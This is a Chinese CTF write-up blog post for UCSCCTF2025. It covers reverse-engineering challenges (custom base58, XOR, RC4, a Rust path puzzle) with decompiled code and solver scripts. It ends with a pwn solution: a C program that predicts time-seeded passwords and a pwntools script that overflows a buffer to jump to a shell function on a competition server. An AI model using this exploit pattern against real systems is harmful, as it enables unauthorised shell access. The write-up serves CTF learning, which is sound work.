UCSCCTF2025

总结

emm,头一次拿一等和ak Re,但是质量仍待商榷,crypto:web=6,队内密码手进修rsa整数分解问题去了

Re

simplere

魔改ep section upx壳

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __fastcall main(int argc, const char **argv, const char **envp)
{
Stream *Stream; // rax
size_t v4; // rax
char Str[112]; // [rsp+20h] [rbp-60h] BYREF
unsigned __int8 Buf1[112]; // [rsp+90h] [rbp+10h] BYREF
char Buffer[264]; // [rsp+100h] [rbp+80h] BYREF
void *Block; // [rsp+208h] [rbp+188h]
size_t Size; // [rsp+210h] [rbp+190h]
void *Buf2; // [rsp+218h] [rbp+198h]

_main(argc, argv, envp);
Buf2 = &unk_405080;
puts("Give Me FlllllllaaaaaGGG!");
Stream = __iob_func();
fgets(Buffer, 256, Stream);
Buffer[strcspn(Buffer, "\n")] = 0;
Size = strlen(Buffer);
Block = malloc(Size);
memcpy(Block, Buffer, Size);
obfuscate_encode((const unsigned __int8 *)Block, Size, Str);
v4 = strlen(Str);
obfuscate_transpose_xor(Str, v4, Buf1);
if ( !memcmp(Buf1, Buf2, 8uLL) )
puts("Yes You Win!");
else
puts("not");
free(Block);
return 0;
}

两段加密,大致是base58和xor

base58变表,第一次遇到,加密过程和代码值得关注,以防以后的魔改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
void __fastcall obfuscate_encode(const unsigned __int8 *a1, unsigned __int64 Size, char *a3)
{
int v3; // eax
int v4; // eax
unsigned __int8 *Block; // [rsp+28h] [rbp-28h]
int Size_1; // [rsp+34h] [rbp-1Ch]
int n; // [rsp+38h] [rbp-18h]
int v8; // [rsp+3Ch] [rbp-14h]
int j_1; // [rsp+40h] [rbp-10h]
int v10; // [rsp+44h] [rbp-Ch]
int v11; // [rsp+44h] [rbp-Ch]
int k; // [rsp+48h] [rbp-8h]
int m; // [rsp+48h] [rbp-8h]
int ii; // [rsp+48h] [rbp-8h]
int i; // [rsp+4Ch] [rbp-4h]
int j; // [rsp+4Ch] [rbp-4h]

j_1 = 0;
for ( i = 0; i < Size && !a1[i]; ++i )
++j_1;
Size_1 = 138 * Size / 0x64 + 1;
Block = (unsigned __int8 *)malloc(Size_1);
memset(Block, 0, Size_1);
for ( j = j_1; j < Size; ++j )
{
v10 = a1[j];
for ( k = 0; k < Size_1; ++k )
{
v11 = (Block[k] << 8) + v10;
Block[k] = (char)v11 % 58;
v10 = v11 / 58;
}
}
v8 = 0;
for ( m = 138 * Size / 0x64; m >= 0; --m )
{
if ( Block[m] )
{
for ( n = 0; n < j_1; ++n )
{
v3 = v8++;
a3[v3] = *CUSTOM; // "wmGbyFp7WeLh2XixZUYsS5cVv1ABRrujdzQ4Kfa6gP8HJN3nTCktqEDo9M"
}
break;
}
}
for ( ii = 138 * Size / 0x64; ii >= 0; --ii )
{
if ( Block[ii] )
{
v4 = v8++;
a3[v4] = CUSTOM[Block[ii]]; // "wmGbyFp7WeLh2XixZUYsS5cVv1ABRrujdzQ4Kfa6gP8HJN3nTCktqEDo9M"
}
}
a3[v8] = 0;
free(Block);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<stdio.h>
#include<string.h>
int main()
{
char enc[] = {0x72, 0x7A, 0x32, 0x48, 0x34, 0x4E, 0x3F, 0x3A, 0x42,
0x33, 0x47, 0x69, 0x75, 0x63, 0x7C, 0x7D, 0x77, 0x62, 0x65, 0x64, 0x7B, 0x6F, 0x62,
0x50, 0x73, 0x2B, 0x68, 0x6C, 0x67, 0x47, 0x69, 0x15, 0x42, 0x75, 0x65, 0x40, 0x76,
0x61, 0x56, 0x41, 0x11, 0x44, 0x7F, 0x19, 0x65, 0x4C,
0x40, 0x48, 0x65, 0x60, 0x1, 0x40, 0x50, 0x1, 0x61, 0x6F, 0x69, 0x57, 0x0};
for(int i=0;i<strlen(enc);i++)
enc[i]^=i+1;
for(int i=strlen(enc)-1;i>=0;i--)
printf("%c",enc[i]);
}

easy_re

n___:h2__?8:?9hl9_h:l__2__2_hk__:?

为以防万一,先留个底

好吧,就一简单xor

为什么flag{d7610b86-5205-3bf3-b0f4-84484ba74105}不对???

是平台的问题,出了

ez_debug

rc4解密,没有魔改,一开始想多了,顺带试了下手搓

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import binascii
#flag{111111111111111111111111111111}
enc = "F8C3A3E7C03EB8896A5FC85838A80E3F225F1B81399E1A8AB1E975647A309F6490BD7BAB"
ciphertext = binascii.unhexlify(enc)
key = b'UCSC'

def rc4_init(key):
sbox = list(range(256))
j = 0
for i in range(256):
j = (j + sbox[i] + key[i % len(key)]) % 256
sbox[i], sbox[j] = sbox[j], sbox[i]
return sbox

def rc4_decrypt(data, sbox):
i = j = 0
result = []
for byte in data:
i = (i + 1) % 256
j = (j + sbox[i]) % 256
sbox[i], sbox[j] = sbox[j], sbox[i]
k = sbox[(sbox[i] + sbox[j]) % 256]
result.append(byte ^ k)
return bytes(result)

# 初始化 S-box 一次,然后解密
sbox = rc4_init(key)
plaintext = rc4_decrypt(ciphertext, sbox)

# 尝试解码(如果解密成功,应该是可读的文本)
try:
print(plaintext.decode('utf-8'))
except UnicodeDecodeError:
print("解密失败,可能密钥错误或数据不是 UTF-8 编码")
print("原始字节:", plaintext)

有错误,赛后去找

因为是对称加密,动调取数据就完了

1
2
3
4
5
6
enc = [0x37, 0x30, 0x39, 0x65, 0x39, 0x62, 0x64, 0x64, 0x2D, 0x30, 0x38, 0x35,
0x38, 0x2D, 0x39, 0x37, 0x35, 0x30, 0x2D, 0x38, 0x63, 0x33, 0x37, 0x2D,
0x39, 0x62, 0x31, 0x33, 0x35, 0x62, 0x33, 0x31, 0x66, 0x31, 0x36, 0x64]
for i in range(len(enc)):
print(chr(enc[i]),end='')
#flag{709e9bdd-0858-9750-8c37-9b135b31f16d}

re_ez

对输入进行判断,分析加密逻辑即可

借助ai分析了主要思路,大致如下:

对输入数据进行处理,var = (*(_BYTE *)v18 - 32) ^ 3; 不得>=4

n0x18 += qword_7FF732F40498[(char)var]; n0x18取值 +1,-1,+5,-5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if ( n0x18 > 0x18 || judge0_1[n0x18] )      // 1 3 6 8 11 13 16 17 18
exit_0(0);
judge0_1[n0x18] = 1;
if ( n0x18 == 3 ) // 跳出循环关键
break;
//一个一维数组,要求只经过上述点,不得重复,只能通过n0x18值移动,经过8次从1到3
//1->6->11->16->17->18->13->8->3

/*var的计算是 (input_char -32) ^3 → var的取值0-3。
所以,var=0 → (c-32)^3=0 → c-32=3 → c=35,即'#'的ASCII是35。
var=1 → (c-32)^3=1 → c-32=3^1=2 → c=34 → 双引号"
var=2 → (c-32)^3=2 → c-32=3^2=1 → c=33 → !
var=3 → (c-32)^3=3 → c-32=3^3=0 → c=32 → 空格
flag{md5(""" ###)}
flag{c4eb11b0e0a3cbeed7df057deaec18aa}*/

复现或者没下载的可看下述代码,一开始动调没整明白判断前的一堆函数加载具体意义,可能是rust语言特性吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
// Hidden C++ exception states: #wind=2 #try_helpers=1
__int64 sub_7FF732F21130()
{
unsigned __int64 n0x18; // rbx
__int128 *v1; // rdi
PSRWLOCK *v2; // r14
__int64 v3; // rax
PSRWLOCK *v4; // rcx
__int128 *v5; // r14
PSRWLOCK *v6; // rdi
__int64 v7; // rcx
void (__fastcall **v8)(__int64); // rdx
__int64 v9; // rax
__int64 v10; // rdx
_QWORD *v11; // rcx
PSRWLOCK *v12; // rcx
unsigned __int8 var; // al
__int64 result; // rax
__int64 v15; // [rsp+28h] [rbp-58h] BYREF
__int64 v16; // [rsp+30h] [rbp-50h] BYREF
__int64 v17; // [rsp+38h] [rbp-48h] BYREF
__int64 v18; // [rsp+40h] [rbp-40h]
__int64 v19; // [rsp+48h] [rbp-38h]
__int64 v20; // [rsp+50h] [rbp-30h]
__int128 v21; // [rsp+58h] [rbp-28h] BYREF
char **_[_]_Start_Game__n_; // [rsp+68h] [rbp-18h]
__int64 v23; // [rsp+70h] [rbp-10h]
const char *called__Result::unwrap()__on_an__Err__value; // [rsp+78h] [rbp-8h]
__int64 v25; // [rsp+80h] [rbp+0h]
_QWORD *v26; // [rsp+88h] [rbp+8h]
__int64 v27; // [rsp+90h] [rbp+10h]

v27 = -2LL;
v17 = 0LL;
v18 = 1LL;
v19 = 0LL;
_[_]_Start_Game__n_ = &off_7FF732F403F0; // "[+] Start Game!\n"
v23 = 1LL;
*(_QWORD *)&v21 = 0LL;
called__Result::unwrap()__on_an__Err__value = aCalledResultUn;
v25 = 0LL;
sub_7FF732F26670(&v21);
n0x18 = 1LL;
v1 = &v21;
v2 = (PSRWLOCK *)&v15;
while ( 1 )
{
_[_]_Start_Game__n_ = &off_7FF732F40408; // "[+] > "
v23 = 1LL;
*(_QWORD *)&v21 = 0LL;
called__Result::unwrap()__on_an__Err__value = aCalledResultUn;
v25 = 0LL;
sub_7FF732F26670(v1);
*(_QWORD *)&v21 = sub_7FF732F25E60();
v3 = sub_7FF732F25E90(v1);
if ( v3 && (v3 & 3) == 1 )
{
v4 = v2;
v5 = v1;
v6 = v4;
v26 = (_QWORD *)(v3 - 1);
v7 = *(_QWORD *)(v3 - 1);
v8 = *(void (__fastcall ***)(__int64))(v3 + 7);
v20 = v3;
(*v8)(v7);
v9 = *(_QWORD *)(v20 + 7);
v10 = *(_QWORD *)(v9 + 8);
v11 = v26;
if ( v10 )
{
sub_7FF732F21520(*v26, v10, *(_QWORD *)(v9 + 16));
v11 = v26;
}
sub_7FF732F21520((__int64)v11, 24LL, 8LL);
v3 = v20;
v12 = v6;
v1 = v5;
v2 = v12;
}
if ( v3 )
{
_[_]_Start_Game__n_ = &off_7FF732F40428; // "flush err\n"
v23 = 1LL;
*(_QWORD *)&v21 = 0LL;
called__Result::unwrap()__on_an__Err__value = aCalledResultUn;
v25 = 0LL;
sub_7FF732F26670(v1);
}
v15 = sub_7FF732F25C30();
sub_7FF732F25C60((__int64)v1, v2, (__int64)&v17);// 此处判断输入
if ( (_QWORD)v21 )
{
v16 = *((_QWORD *)&v21 + 1);
sub_7FF732F3F3A0(
(unsigned int)aCalledResultUn,
43,
(unsigned int)&v16,
(unsigned int)&off_7FF732F403B0,
(__int64)&off_7FF732F40438); // "src\\main.rs"
}
if ( !v19 )
sub_7FF732F3F110(0LL, 0LL, &off_7FF732F40450);// "src\\main.rs"
var = (*(_BYTE *)v18 - 32) ^ 3; // 对值进行修改
if ( var >= 4u ) // 判断,不符合退出
exit_0(0);
n0x18 += qword_7FF732F40498[(char)var];
if ( n0x18 > 0x18 || judge0_1[n0x18] ) // 1 3 6 8 11 13 16 17 18
exit_0(0);
judge0_1[n0x18] = 1;
if ( n0x18 == 3 ) // 跳出循环关键
break;
v19 = 0LL;
}
_[_]_Start_Game__n_ = &off_7FF732F40488; // "good! flag{md5(your input)}\n"
v23 = 1LL;
*(_QWORD *)&v21 = 0LL;
called__Result::unwrap()__on_an__Err__value = aCalledResultUn;
v25 = 0LL;
result = sub_7FF732F26670(&v21);
if ( v17 )
return sub_7FF732F21520(v18, v17, 1LL);
return result;
}

Pwn

userlogin


login下root()函数scanf未限制输入长度

有个shell()函数

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main(){
char * v4 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!";
int v6 = 63;
int v2 = time(0LL);
for(int l = 0;l < 3;l++){
int v5;
srand(v2 + l);
for (int i = 0; i < 16; ++i )
{
v5 = rand() % v6;
printf("%c", v4[v5]);
}
printf("\n");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
import os

context(arch='amd64', os='linux')
# p = process('./pwn')
p = remote('39.107.58.236', 43942)

# shell函数地址
shell_addr = 0x401261

password = os.popen('./genrand').read().split('\n')

info(password)

index = 0
f = False

for i in password:
if f:
break

p.sendafter(b"Password: ", password[index].encode() + b'\n')
res = p.recv().decode()
info(res)
if 'Note: ' in res:
f = True

payload = b'a' * 0x28 + p64(0x401276) + p64(shell_addr)
# payload = b"a" * 20

p.send(payload + b'\n')

p.interactive()

UCSCCTF2025
https://alenirving.github.io/2025/04/20/UCSCCTF2025/
作者
Ma5k
发布于
2025年4月20日
许可协议